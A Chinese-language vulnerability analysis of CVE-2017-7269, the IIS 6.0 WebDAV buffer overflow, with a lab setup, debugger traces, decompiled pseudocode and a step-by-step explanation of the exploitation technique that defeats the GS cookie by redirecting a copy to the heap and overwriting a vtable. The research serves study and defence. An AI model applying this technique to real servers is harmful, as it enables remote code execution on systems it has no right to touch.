http://p5.qhimg.com/t011b8c0a8f995e7449.jpg

漏洞描述


漏洞编号:CVE-2017-7269

发现人员:Zhiniang Peng和Chen Wu(华南理工大学信息安全实验室,计算机科学与工程学院)

漏洞简述:开启webDAV服务的IIS 6.0被爆存在缓存区溢出漏洞导致远程代码执行,目前针对 Windows Server 2003 R2 可以稳定利用,该漏洞最早在2016年7,8月份开始在野外被利用。

漏洞类型:缓冲区溢出

漏洞等级:高危

影响产品:Microsoft Windows Server 2003 R2 开启WebDAV服务的IIS6.0(目前已验证,其他版本尚未验证)

触发函数:ScStoragePathFromUrl函数

附加信息:ScStoragePathFromUrl函数被调用了两次

漏洞细节:在Windows Server 2003的IIS6.0的WebDAV服务的ScStoragePathFromUrl函数存在缓存区溢出漏洞,攻击者通过一个以“If: <http://”开始的较长header头的PROPFIND请求执行任意代码。

漏洞分析(漏洞分析转载自:http://whereisk0shl.top/cve-2017-7269-iis6-interesting-exploit.html)


CVE-2017-7269是IIS 6.0中存在的一个栈溢出漏洞,在IIS6.0处理PROPFIND指令的时候,由于对url的长度没有进行有效的长度控制和检查,导致执行memcpy对虚拟路径进行构造的时候,引发栈溢出,该漏洞可以导致远程代码执行。

目前在github上有一个在windows server 2003 r2上稳定利用的exploit,这个exp目前执行的功能是弹计算器,使用的shellcode方法是alpha shellcode,这是由于url在内存中以宽字节形式存放,以及其中包含的一些badchar,导致无法直接使用shellcode执行代码,而需要先以alpha shellcode的方法,以ascii码形式以宽字节写入内存,然后再通过一小段解密之后执行代码。

github地址:https://github.com/edwardz246003/IIS_exploit

这个漏洞其实原理非常简单,但是其利用方法却非常有趣,我在入门的时候调试过很多stack overflow及其exp,但多数都是通过覆盖ret,覆盖seh等方法完成的攻击,直到我见到了这个exploit,感觉非常艺术。但这个漏洞也存在其局限性,比如对于aslr来说似乎没有利用面,因此在高版本windows server中利用似乎非常困难,windows server 2003 r2没有aslr保护。

在这篇文章中,我将首先简单介绍一下这个漏洞的利用情况;接着,我将和大家一起分析一下这个漏洞的形成原因;然后我将给大家详细介绍这个漏洞的利用,最后我将简要分析一下这个漏洞的rop及shellcode。

我是一只菜鸟,如有不当之处,还望大家多多指正,感谢阅读!

弹弹弹--一言不合就“弹”计算器


漏洞环境搭建

漏洞环境的搭建非常简单,我的环境是windows server 2003 r2 32位英文企业版,安装之后需要进入系统配置一下iis6.0,首先在登陆windows之后,选择配置服务器,安装iis6.0服务,之后进入iis6.0管理器,在管理器中,有一个windows扩展,在扩展中有一个webdav选项,默认是进入用状态,在左侧选择allow,开启webdav,之后再iis管理器中默认网页中创建一个虚拟目录(其实这一步无所谓),随后选择run->services.msc->WebClient服务,将其开启,这样完成了我的配置。

触发漏洞

漏洞触发非常简单,直接在本地执行python exp.py即可,这里为了观察过程,我修改了exp,将其改成远程,我们通过wireshark抓包,可以看到和目标机的交互行为。

http://p6.qhimg.com/t01beaec6bcc0e6307f.png

可以看到,攻击主机向目标机发送了一个PROPFIND数据包,这个是负责webdav处理的一个指令,其中包含了我们的攻击数据,一个<>包含了两个超长的httpurl请求,其中在两个http url中间还有一个lock token的指令内容。

随后我们可以看到,在靶机执行了calc,其进程创建在w2wp进程下,用户组是NETWORK SERVICE。

http://p2.qhimg.com/t01fe4526e2ada2a719.png

我在最开始的时候以为这个calc是由于SW_HIDE的参数设置导致在后台运行,后来发现其实是由于webdav服务进程本身就是无窗口的,导致calc即使定义了SW_SHOWNORMAL,也只是在后台启动了。

事实上,这个漏洞及时没有后面的<>中的http url,单靠一个IF:<>也能够触发,而之所以加入了第二个<>以及lock token,是因为作者想利用第一次和第二次http请求来完成一次精妙的利用,最后在指令下完成最后一击。

我尝试去掉第二次<>以及请求,同样能引发iis服务的crash。

t0128bd34ae7ca9222e.png

CVE-2017-7269漏洞分析


这个漏洞的成因是在WebDav服务动态链接库的httpext.dll的ScStorageFromUrl函数中,这里为了方便,我们直接来跟踪分析该函数,在下一小节内容,我将和大家来看看整个精妙利用的过程。我将先动态分析整个过程,然后贴出这个存在漏洞函数的伪代码。

在ScStorageFromUrl函数中,首先会调用ScStripAndCheckHttpPrefix函数,这个函数主要是获取头部信息进行检查以及对host name进行检查。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0:009>p//调用CchUrlPrefixW获取url头部信息
eax=67113bc8ebx=00fffbe8ecx=00605740edx=00fff4f8esi=0060c648edi=00605740
eip=671335f3esp=00fff4b4ebp=00fff4d0iopl=0nvupeiplzrnapenc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246
httpext!ScStripAndCheckHttpPrefix+0x1e:
671335f3ff5024calldwordptr[eax+24h]ds:0023:67113bec={httpext!CEcbBaseImpl<IEcb>::CchUrlPrefixW(6712c72a)}
0:009>p
eax=00000007ebx=00fffbe8ecx=00fff4ccedx=00fff4f8esi=0060c648edi=00605740
eip=671335f6esp=00fff4b8ebp=00fff4d0iopl=0nvupeiplnznaponc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202
httpext!ScStripAndCheckHttpPrefix+0x21:
671335f68bd8movebx,eax
0:009>dcesil6//esi存放头部信息,以及servername,这个localhost会在后面获取到。
0060c6480074006800700074002f003a006c002fh.t.t.p.:././.l.
0060c6580063006f006c0061o.c.a.l.

在check完http头部和hostname之后,会调用wlen函数获取当前http url长度。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
0:009>p
eax=0060e7d0ebx=0060b508ecx=006058a8edx=0060e7d0esi=00605740edi=00000000
eip=67126ce8esp=00fff330ebp=00fff798iopl=0nvupeiplzrnapenc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246
httpext!ScStoragePathFromUrl+0x6d:
67126ce850pusheax
0:009>p
eax=0060e7d0ebx=0060b508ecx=006058a8edx=0060e7d0esi=00605740edi=00000000
eip=67126ce9esp=00fff32cebp=00fff798iopl=0nvupeiplzrnapenc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246
httpext!ScStoragePathFromUrl+0x6e:
67126ce9ff1550121167calldwordptr[httpext!_imp__wcslen(67111250)]ds:0023:67111250={msvcrt!wcslen(77bd8ef2)}
0:009>reax
eax=0060e7d0
0:009>dceax
0060e7d00062002f006200620062006200620062/.b.b.b.b.b.b.b.
0060e7e0617579486f674f4348456b6f67753646HyuaCOgookEHF6ug
0060e7f0387144335a625765566154356a5369523Dq8eWbZ5TaVRiSj
0060e800384e5157635559484364497134686472WQN8HYUcqIdCrdh4
0060e810717947586b55336b504f6d4834717a46XGyqk3UkHmOPFzq4
0060e82074436f546f6f5956345773417a726168ToCtVYooAsW4harz
0060e8304d4937455448574e367a4c3862663572E7IMNWHT8Lz6r5fb
0060e840486d6e436177354861744d5a43654133CnmHH5waZMta3AeC
0:009>p
eax=000002fdebx=0060b508ecx=00600000edx=0060e7d0esi=00605740edi=00000000
eip=67126cefesp=00fff32cebp=00fff798iopl=0nvupeiplnznaponc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202
httpext!ScStoragePathFromUrl+0x74:
67126cef59popecx
0:009>reax
eax=000002fd

在利用的关键一次,我们获取的是poc中http://localhost/bbbbb的字符串,这个字符串长度很长,可以看到eax寄存器存放的是url长度,长度是0x2fd,随后会进入一系列的判断,主要是检查url中一些特殊字符,比如0x2f。

1
2
3
4
5
6
7
8
9
10
0:009>g//eax存放的是指向url的指针,这里会获取指针的第一个字符,然后和“/”作比较
Breakpoint1hit
eax=0060e7d0ebx=0060b508ecx=006058a8edx=0060e7d0esi=00605740edi=00000000
eip=67126cd7esp=00fff334ebp=00fff798iopl=0nvupeiplzrnapenc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246
httpext!ScStoragePathFromUrl+0x5c:
67126cd76683382fcmpwordptr[eax],2Fhds:0023:0060e7d0=002f
0:009>dceax
0060e7d00062002f006200620062006200620062/.b.b.b.b.b.b.b.
0060e7e0617579486f674f4348456b6f67753646HyuaCOgookEHF6ug

经过一系列的检查之后,会进入一系列的memcpy函数,主要就是用来构造虚拟文件路径,这个地方拷贝的长度没有进行控制,而拷贝的目标地址,是在外层函数调用stackbuff申请的地址,这个地址会保存在栈里。在ScStorageFromUrl函数中用到,也就是在memcpy函数中用到,作为目的拷贝的地址。

ScStorageFromUrl函数中实际上在整个漏洞触发过程中会调用很多次,我们跟踪的这一次,是在漏洞利用中的一个关键环节之一。首先我们来看一下第一次有效的memcpy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
0:009>p
eax=00000024ebx=000002fdecx=00000009edx=00000024esi=00000012edi=680312c0
eip=67126fa9esp=00fff330ebp=00fff798iopl=0nvupeiplnznapenc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000206
httpext!ScStoragePathFromUrl+0x32e:
67126fa98db5c4fbffffleaesi,[ebp-43Ch]
0:009>p
eax=00000024ebx=000002fdecx=00000009edx=00000024esi=00fff35cedi=680312c0
eip=67126fafesp=00fff330ebp=00fff798iopl=0nvupeiplnznapenc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000206
httpext!ScStoragePathFromUrl+0x334:
67126faff3a5repmovsdwordptres:[edi],dwordptr[esi]
0:009>resi
esi=00fff35c
0:009>dcesi
00fff35c003a00630069005c0065006e00700074c.:.\.i.n.e.t.p.
00fff36c006200750077005c00770077006f0072u.b.\.w.w.w.r.o.
00fff37c0074006f0062005c0062006200620062o.t.\.b.b.b.b.b.
00fff38c00620062617579486f674f4348456b6fb.b.HyuaCOgookEH

这次memcpy拷贝过程中,会将esi寄存器中的值拷贝到edi寄存器中,可以看到edi寄存器的值是0x680312c0,这个值很有意思,在之前我提到过,这个buffer的值会在外层函数中申请,并存放在栈中,因此正常情况应该是向一个栈地址拷贝,而这次为什么会向一个堆地址拷贝呢?

这是个悬念,也是我觉得这个利用巧妙的地方,下面我们先进入后面的分析,在memcpy中,也就是rep movs中ecx的值决定了memcpy的长度,第一次拷贝的长度是0x9。

接下来,回进入第二次拷贝,这次拷贝的长度就比较长了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
0:009>p//长度相减,0x2fd-0x0
eax=00000024ebx=000002fdecx=00000000edx=00000000esi=0060e7d0edi=680312e4
eip=67126fc4esp=00fff330ebp=00fff798iopl=0nvupeiplzrnapenc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246
httpext!ScStoragePathFromUrl+0x349:
67126fc42bdasubebx,edx
0:009>rebx
ebx=000002fd
0:009>redx
edx=00000000
0:009>p
eax=00000024ebx=000002fdecx=00000000edx=00000000esi=0060e7d0edi=680312e4
eip=67126fc6esp=00fff330ebp=00fff798iopl=0nvupeiplnznaponc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202
httpext!ScStoragePathFromUrl+0x34b:
67126fc68d3456leaesi,[esi+edx*2]
0:009>p
eax=00000024ebx=000002fdecx=00000000edx=00000000esi=0060e7d0edi=680312e4
eip=67126fc9esp=00fff330ebp=00fff798iopl=0nvupeiplnznaponc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202
httpext!ScStoragePathFromUrl+0x34e:
67126fc98b95b0fbffffmovedx,dwordptr[ebp-450h]ss:0023:00fff348=680312c0
0:009>p
eax=00000024ebx=000002fdecx=00000000edx=680312c0esi=0060e7d0edi=680312e4
eip=67126fcfesp=00fff330ebp=00fff798iopl=0nvupeiplnznaponc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202
httpext!ScStoragePathFromUrl+0x354:
67126fcf8d3c10leaedi,[eax+edx]
0:009>p//ecx的值为dword值
eax=00000024ebx=000002fdecx=00000000edx=680312c0esi=0060e7d0edi=680312e4
eip=67126fd2esp=00fff330ebp=00fff798iopl=0nvupeiplnznaponc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202
httpext!ScStoragePathFromUrl+0x357:
67126fd28d4c1b02leaecx,[ebx+ebx+2]
0:009>p
eax=00000024ebx=000002fdecx=000005fcedx=680312c0esi=0060e7d0edi=680312e4
eip=67126fd6esp=00fff330ebp=00fff798iopl=0nvupeiplnznaponc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202
httpext!ScStoragePathFromUrl+0x35b:
67126fd68bc1moveax,ecx
0:009>p//最后拷贝的长度再除以4
eax=000005fcebx=000002fdecx=000005fcedx=680312c0esi=0060e7d0edi=680312e4
eip=67126fd8esp=00fff330ebp=00fff798iopl=0nvupeiplnznaponc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202
httpext!ScStoragePathFromUrl+0x35d:
67126fd8c1e902shrecx,2
0:009>p//这次拷贝17f的值key!!!看ecx
eax=000005fcebx=000002fdecx=0000017fedx=680312c0esi=0060e7d0edi=680312e4
eip=67126fdbesp=00fff330ebp=00fff798iopl=0nvupeiplnznaponc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202
httpext!ScStoragePathFromUrl+0x360:
67126fdbf3a5repmovsdwordptres:[edi],dwordptr[esi]

可以看到,这次拷贝的长度是0x17f,长度非常大,而在整个分析的过程中,并没有对拷贝的长度进行控制,因此,可以拷贝任意超长的字符串,进入这个堆空间。

这个堆空间非常有意思,存放的是一个vftable,这个vftable会在ScStorageFromUrl函数中的某个内层函数调用调用到,还记得之前分析的ScStripAndCheckHttpPrefi函数吗。

1
2
3
4
5
6
0:009>p//正常情况ScStripAndCheckHttpPrefix函数中对vftable的获取
eax=00fff9a4ebx=00fffbe8ecx=00605740edx=00fff4f8esi=0060c648edi=00605740
eip=671335e8esp=00fff4b8ebp=00fff4d0iopl=0nvupeiplzrnapenc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246
httpext!ScStripAndCheckHttpPrefix+0x13:
671335e88b07moveax,dwordptr[edi]ds:0023:00605740={httpext!CEcb::`vftable'(67113bc8)}

获取完虚表之后,会获取到对应的虚函数,在ScStripAndCheckHttpPrefix函数中call调用到。但是由于之前的memcpy覆盖,导致这个vftable被覆盖。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0:009>p
eax=680313c0ebx=00fffbe8ecx=680313c0edx=00fff4f8esi=0060e7b0edi=680313c0
eip=671335f0esp=00fff4b4ebp=00fff4d0iopl=0nvupeiplzrnapenc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246
httpext!ScStripAndCheckHttpPrefix+0x1b:
671335f08955f4movdwordptr[ebp-0Ch],edxss:0023:00fff4c4=00000000
0:009>p//eax是vftable,而call[eax+24]调用虚函数,这里由于之前的覆盖,导致跳转到可控位置
eax=680313c0ebx=00fffbe8ecx=680313c0edx=00fff4f8esi=0060e7b0edi=680313c0
eip=671335f3esp=00fff4b4ebp=00fff4d0iopl=0nvupeiplzrnapenc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246
httpext!ScStripAndCheckHttpPrefix+0x1e:
671335f3ff5024calldwordptr[eax+24h]ds:0023:680313e4=68016082
0:009>dceax
680313c0680313c068006e4f68006e4f766a4247...hOn.hOn.hGBjv
680313d0680313c04f744257523459474b424b66...hWBtOGY4RfKBK

这个漏洞的原理非常简单,在PROPFIND中,由于对http的长度没有进行检查,导致在memcpy中,可以拷贝超长的字符串,覆盖到栈中的关键位置,下面来看一下伪代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
__int32__fastcallScStoragePathFromUrl(conststructIEcb*a1,wchar_t*a2,unsigned__int16*a3,unsignedint*a4,structCVRoot**a5)
{
v35=a3;
v5=a1;
Str=a2;
v37=(int)a1;
v34=a4;
v33=a5;
result=ScStripAndCheckHttpPrefix(a1,(constunsigned__int16**)&Str);//主要用来检查开头信息,比如http头以及host等等
if(result<0)
returnresult;
if(*Str!=47)//判断第一个值是不是/
return-2146107135;
v7=_wcslen(Str);//获取str长度,也就是畸形url长度
result=IEcbBase::ScReqMapUrlToPathEx(Str,WideCharStr);
v36=result;
if(result<0)
returnresult;
v8=(*(int(__thiscall**)(conststructIEcb*,wchar_t**))(*(_DWORD*)v5+52))(v5,&Str1);//httpext!CEcbBaseImpl<IEcb>::CchGetVirtualRootW(6712d665)获取虚拟路径
if(v8==v42)
{
if(!v8||Str[v8-1]&&!__wcsnicmp(Str1,Str,v8))
gotoLABEL_14;
}
elseif(v8+1==v42)
{
v9=Str[v8];
if(v9==47||!v9)
{
--v42;
gotoLABEL_14;
}
}
v36=1378295;
LABEL_14:
if(v36==1378295&&a5)
{
……
}
v16=v41;
if(v41)
{
v17=(constunsigned__int16*)((char*)&v39+2*v41+2);
if(*v17==92)
{
while(v16&&*v17==92&&!FIsDriveTrailingChar(v17,v16))
{
v41=--v16;
--v17;
}
}
elseif(!*v17)
{
v16=v41---1;
}
}
v18=v16-v42+v7+1;
v19=*v34<v18;
v37=v16-v42+v7+1;
if(v19)
{
……
}
else//进入这一处else处理
{
v21=v35;
v22=v16;
v23=2*v16;
v24=(unsignedint)(2*v16)>>2;
qmemcpy(v35,WideCharStr,4*v24);//拷贝虚拟路径
v26=&WideCharStr[2*v24];
v25=&v21[2*v24];
LOBYTE(v24)=v23;
v27=v42;
qmemcpy(v25,v26,v24&3);
v28=v7-v27;//这里v7是0x2fd,相减赋值给v28,这个值很大,v27为0
v29=&Str[v27];
v30=v35;
qmemcpy(&v35[v22],v29,2*v28+2);//直接拷贝到栈中,没有对长度进行检查,导致溢出
for(i=&v30[v41];*i;++i)
{
if(*i==47)
*i=92;
}
*v34=v37;
result=v36;
}
returnresult;
}

CVE-2017-7269 Exploit!精妙的漏洞利用


其实通过上面的分析,我们发现这个漏洞的 原理非常简单,但是究竟如何利用呢,我们来看一下关于ScStorageFromUrl函数中,包含了GS check,也就是说,我们在进行常规的覆盖ret方式利用的情况下,将会把cookie也会覆盖,导致利用失败。

1
2
3
4
5
6
7
8
9
10
.text:67127017loc_67127017:;CODEXREF:ScStoragePathFromUrl(IEcbconst&,ushortconst*,ushort*,uint*,CVRoot**)+50j
.text:67127017;ScStoragePathFromUrl(IEcbconst&,ushortconst*,ushort*,uint*,CVRoot**)+67j
.text:67127017movecx,[ebp+var_C]
.text:6712701Apopedi
.text:6712701Bmovlargefs:0,ecx
.text:67127022movecx,[ebp+var_10]
.text:67127025popesi
.text:67127026call@__security_check_cookie@4;__security_check_cookie(x)
.text:6712702Bleave
.text:6712702Cretn0Ch

漏洞利用非常精妙,也就是用这种方法,巧妙的绕过了gs的检查,最后达到漏洞利用,稳定的代码执行,首先,WebDav对数据包的处理逻辑是在DAVxxx函数中完成的。比如当前数据包是PROPFIND,那么当前的函数处理逻辑就是DAVpropfind函数。

1
2
3
4
5
6
7
8
0:009>kb
ChildEBPRetAddrArgstoChild
00fff79867119469680312c000fff80000000000httpext!ScStoragePathFromUrl
00fff7ac6712544a0060e7b0680312c000fff800httpext!CMethUtil::ScStoragePathFromUrl+0x18
00fffc346712561e0060b5080060584e00fffc78httpext!HrCheckIfHeader+0x124
00fffc446711f6590060b5080060584e00000001httpext!HrCheckStateHeaders+0x10
00fffc786711f7c50060c01000fffcd4671404e2httpext!CPropFindRequest::Execute+0xf0
00fffc90671296f20060c0100000000401017af8httpext!DAVPropFind+0x47

在内层的函数处理逻辑中,有一处关键的函数处理逻辑HrCheckIfHeader,主要负责DAVPropFind函数对头部的check,这个函数处理逻辑中有一处while循环,我已经把这个循环的关键位置的注释写在伪代码中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
__int32__stdcallHrCheckIfHeader(structCMethUtil*a1,constunsigned__int16*a2)
while(2)
{
v6=IFITER::PszNextToken(&v20,0);
v7=v6;
if(v6)//这里获取下一个url值,第一轮会进入这里,第二轮也会,第三轮就进不去了
{
CStackBuffer<unsignedshort,260>::CStackBuffer<unsignedshort,260>(260);
v9=(constwchar_t*)(v7+2);
LOBYTE(v34)=2;
v27=_wcslen(v9);
if(!CStackBuffer<unsignedshort,260>::resize(2*v27+2))
gotoLABEL_35;
v5=ScCanonicalizePrefixedURL(v9,v32,&v27);
if(v5)
gotoLABEL_43;
v27=v29>>3;
v5=CMethUtil::ScStoragePathFromUrl(a1,v32,Str,&v27);
if(v5==1)
{
if(!CStackBuffer<unsignedshort,260>::resize(v27))
{
LABEL_35:
LOBYTE(v34)=1;
CStackBuffer<char,260>::release(&v31);
v5=-2147024882;
gotoLABEL_39;
}
v5=CMethUtil::ScStoragePathFromUrl(a1,v32,Str,&v27);
}
if(v5<0)
{
LABEL_43:
LOBYTE(v34)=1;
CStackBuffer<char,260>::release(&v31);
gotoLABEL_39;
}
v10=_wcslen(Str);
v27=v10;
v11=&Str[v10-1];
if(*v11==62)
*v11=0;
v8=Str;
LOBYTE(v34)=1;
CStackBuffer<char,260>::release(&v31);
}
else
{
if(!v25)//进不去就跳入这里,直接break掉,随后进入locktoken,会调用sc函数
gotoLABEL_38;
v8=(constunsigned__int16*)v24;
}
v25=0;
for(i=(wchar_t*)IFITER::PszNextToken(&v20,2);;i=(wchar_t*)IFITER::PszNextToken(&v20,v19))
{
v17=i;
if(!i)
break;
v12=*i;
if(*v17==60)
{
v13=HrValidTokenExpression((int)a1,v17,(int)v8,0);
}
elseif(v12==91)
{
if(!FGetLastModTime(0,v8,(struct_FILETIME*)&v23)
||!FETagFromFiletime((int)&v23,&String,*((_DWORD*)a1+4)))
{
LABEL_26:
if(v22)
gotoLABEL_27;
gotoLABEL_30;
}
v14=v17+1;
if(*v14==87)
v14+=2;
v15=_wcslen(&String);
v13=_wcsncmp(&String,v14,v15);
}
else
{
v13=-2147467259;
}
if(v13)
gotoLABEL_26;
if(!v22)//如果不等于22,则v26为1continue,这里v22为0
{
LABEL_27:
v26=1;
v19=3;
continue;
}
LABEL_30:
v26=0;
v19=4;
}
v2=0;
if(v26)//这里进这里
{
v6=IFITER::PszNextToken(&v20,1);//获得下一个url部分,第一次处理完,由于后面还有url,所以这里v6会有值,而第二次,这里后面没有值了
continue;
}
break;
}

如果看的比较迷糊,可以看我下面的描述,首先这个while函数中,有一个非常有意思的函数PszNextToken,这个函数会连续获取<>中的http url,直到后面没有http url,则跳出循环,这也是这个漏洞利用的关键条件。

首先,第一次会处理IF后面的第一个http url,这个url就是http://localhost/aaaa..,这个处理过程,实际上就完成了第一次溢出,首先stackbuffer会通过CStackBuffer函数获取,获取到之后,这个值会存放在stack中的一个位置。接下来会进行第一次ScStorageFromUrl,这个地方会对第一个<>中的http url处理。长度是0xa7。

1
2
3
4
5
6
7
8
9
10
11
12
13
0:009>p
eax=00fff910ebx=0060b508ecx=00000410edx=00000000esi=0060c64aedi=77bd8ef2
eip=671253e2esp=00fff7bcebp=00fffc34iopl=0nvupeiplnznaponc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202
httpext!HrCheckIfHeader+0xbc:
671253e2ffd7calledi{msvcrt!wcslen(77bd8ef2)}//第一次处理aaaa部分,长度只有a7
0:009>dc60c64a
0060c64a0074006800700074002f003a006c002fh.t.t.p.:././.l.
0060c65a0063006f006c0061006f006800740073o.c.a.l.h.o.s.t.
0060c66a0061002f006100610061006100610061/.a.a.a.a.a.a.a.
0060c67a78636f6871337761477269364b777a39hocxaw3q6irG9zwK
0:009>p
eax=000000a7

这个a7长度很小,不会覆盖到gs,因此可以通过security check,但是这个a7却是一个溢出,它超过了stack buffer的长度,会覆盖到stack中关于stack buffer指针的存放位置。这个位置保存在ebp-328的位置。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0:009>p
eax=00fff800ebx=0060b508ecx=0060b508edx=00000104esi=00000001edi=77bd8ef2
eip=67125479esp=00fff7b8ebp=00fffc34iopl=0nvupeiplnznaponc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202
httpext!HrCheckIfHeader+0x153:
67125479ffb5e4fdffffpushdwordptr[ebp-21Ch]ss:0023:00fffa18=0060c828
0:009>p
eax=00fff800ebx=0060b508ecx=0060b508edx=00000104esi=00000001edi=77bd8ef2
eip=6712547fesp=00fff7b4ebp=00fffc34iopl=0nvupeiplnznaponc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202
httpext!HrCheckIfHeader+0x159:
6712547fe8cd3fffffcallhttpext!CMethUtil::ScStoragePathFromUrl(67119451)
0:009>ddebp-328//注意拷贝的地址,这个90c是scstoragepathfromurl要拷贝的栈地址
00fff90c00fff8046711205b0000001300fff9c0
00fff91c671287e700000000000000f000000013

可以看到,第一次ScStoragePathFromUrl的时候,拷贝的地址是一个栈地址,通过stackbuffer申请到的,但是由于memcpy引发的栈溢出,导致这个地方值会被覆盖。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
0:009>g//执行结束ScStoragePathFromUrl函数执行返回后
Breakpoint0hit
eax=00fff800ebx=0060b508ecx=00605740edx=0060c828esi=00000001edi=77bd8ef2
eip=67126c7besp=00fff79cebp=00fff7aciopl=0nvupeiplnznaponc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202
httpext!ScStoragePathFromUrl:
67126c7bb8150d1467moveax,offsethttpext!swscanf+0x14b5(67140d15)
0:009>g
Breakpoint3hit
eax=00000000ebx=0060b508ecx=00002f06edx=00fff804esi=00000001edi=77bd8ef2
eip=67125484esp=00fff7c0ebp=00fffc34iopl=0nvupeiplzrnapenc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246
httpext!HrCheckIfHeader+0x15e:
671254848bf0movesi,eax
0:009>dcfff804//第一次memcpy之后,覆盖到了90c的位置
00fff804003a00630069005c0065006e00700074c.:.\.i.n.e.t.p.
00fff814006200750077005c00770077006f0072u.b.\.w.w.w.r.o.
00fff8240074006f0061005c0061006100610061o.t.\.a.a.a.a.a.
00fff8340061006178636f687133776147726936a.a.hocxaw3q6irG
00fff8444b777a3975534f7048687a4f6d5456639zwKpOSuOzhHcVTm
00fff854395368455567506c3364676378454630EhS9lPgUcgd30FEx
00fff864543169526a514c584231724158507035Ri1TXLQjAr1B5pPX
00fff8746c473664546a35395443503450617752d6Gl95jT4PCTRwaP
0:009>ddfff900
00fff9005a3062725448593802020202680312c0

经过这次stack buffer overflow,这个值已经被覆盖,覆盖成了一个堆地址0x680312c0。接下来进入第二次调用。

1
2
3
4
5
6
7
8
9
10
11
12
0:009>p
eax=00fff910ebx=0060b508ecx=00000410edx=00000000esi=0060d32aedi=77bd8ef2
eip=671253e2esp=00fff7bcebp=00fffc34iopl=0nvupeiplnznaponc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202
httpext!HrCheckIfHeader+0xbc:
671253e2ffd7calledi{msvcrt!wcslen(77bd8ef2)}
0:009>dc60d32a
0060d32a0074006800700074002f003a006c002fh.t.t.p.:././.l.
0060d33a0063006f006c0061006f006800740073o.c.a.l.h.o.s.t.
0060d34a0062002f006200620062006200620062/.b.b.b.b.b.b.b.
0:009>p
eax=0000030d

第二次获得http://localhost/bbbbb…的长度,这个长度有0x30d,非常长,但是对应保存的位置变了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
0:009>p
eax=00fff800ebx=0060b508ecx=00fff800edx=000002feesi=00000000edi=77bd8ef2
eip=67125436esp=00fff7c0ebp=00fffc34iopl=0nvupeiplnznaponc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202
httpext!HrCheckIfHeader+0x110:
6712543650pusheax
0:009>p
eax=00fff800ebx=0060b508ecx=00fff800edx=000002feesi=00000000edi=77bd8ef2
eip=67125437esp=00fff7bcebp=00fffc34iopl=0nvupeiplnznaponc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202
httpext!HrCheckIfHeader+0x111:
67125437ffb5d8fcffffpushdwordptr[ebp-328h]ss:0023:00fff90c=680312c0
0:009>dcebp-328
00fff90c680312c052566c446c6d4b37585a4f58...hDlVR7KmlXOZX
00fff91c496a79504a52584f664d4150680313c0PyjIOXRJPAMf...h
00fff92c653148346e666f43436c7441680313c04H1eCofnAtlC...h
00fff93c6a41534333307052424c58666346704bCSAjRp03fXLBKpFc
0:009>dd680312c0//要用到的堆地址,这个地址会在最后用到
680312c000000000000000000000000000000000
680312d000000000000000000000000000000000
680312e000000000000000000000000000000000

可以看到,第二次利用的时候,会把ebp-328这个地方的值推入栈中,这个地方应该是stack buffer的地址,应该是个栈地址,但是现在变成了堆地址,就是由于第一次栈溢出,覆盖了这个变量。

而这个值,会作为参数传入ScStorageFromUrl函数,作为memcpy拷贝的值。

这也就解释了为什么我们在上面分析漏洞的时候,会是向堆地址拷贝,而这一次拷贝,就不需要控制长度了,因为这个地方的值已经是堆地址,再怎么覆盖,也不会覆盖到cookie。这里未来要覆盖IEcb虚表结构。从而达到漏洞利用。这样,第二次向堆地址拷贝之后,这个堆地址会覆盖到IEcb的虚表,这个虚表结构会在最后利用时引用到。

